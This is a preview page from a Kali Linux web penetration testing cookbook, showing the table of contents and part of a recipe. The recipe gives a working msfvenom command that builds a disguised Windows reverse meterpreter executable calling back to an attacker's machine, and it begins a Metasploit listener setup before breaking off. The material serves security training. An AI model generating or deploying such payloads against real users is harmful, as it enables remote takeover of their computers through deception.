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Kali Linux Web Penetration Testing Cookbook

You're reading from   Kali Linux Web Penetration Testing Cookbook Over 80 recipes on how to identify, exploit, and test web application security with Kali Linux 2

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Product type Paperback
Published in Feb 2016
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ISBN-13 9781784392918
Length 296 pages
Edition 1st Edition
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Gilberto Najera-Gutierrez Gilberto Najera-Gutierrez
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Table of Contents (12) Chapters Close

Preface 1. Setting Up Kali Linux FREE CHAPTER 2. Reconnaissance 3. Crawlers and Spiders 4. Finding Vulnerabilities 5. Automated Scanners 6. Exploitation – Low Hanging Fruits 7. Advanced Exploitation 8. Man in the Middle Attacks 9. Client-Side Attacks and Social Engineering 10. Mitigation of OWASP Top 10 Index

Creating a reverse shell with Metasploit and capturing its connections


When we do a client side attack, we have the ability to trick the user into executing programs and make those programs connect back to a controlling computer.

In this recipe, we will learn how to use Metasploit's msfvenom to create an executable program (reverse meterpreter shell) that will connect to our Kali computer, when executed, and give us the control of the user's computer.

How to do it...

  1. First, we will create our shell. Open a terminal in Kali and issue the following command:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4443 -f exe > cute_dolphin.exe
    

    This will create a file named cute_dolphin.exe, which is a reverse meterpreter shell; reverse means that it will connect back to us instead of listening for us to connect.

  2. Next, we need to set up a listener for the connection our cute dolphin is going to create, in the msfconsole's terminal:

    use exploit/multi/handler
    set payload windows/meterpreter...
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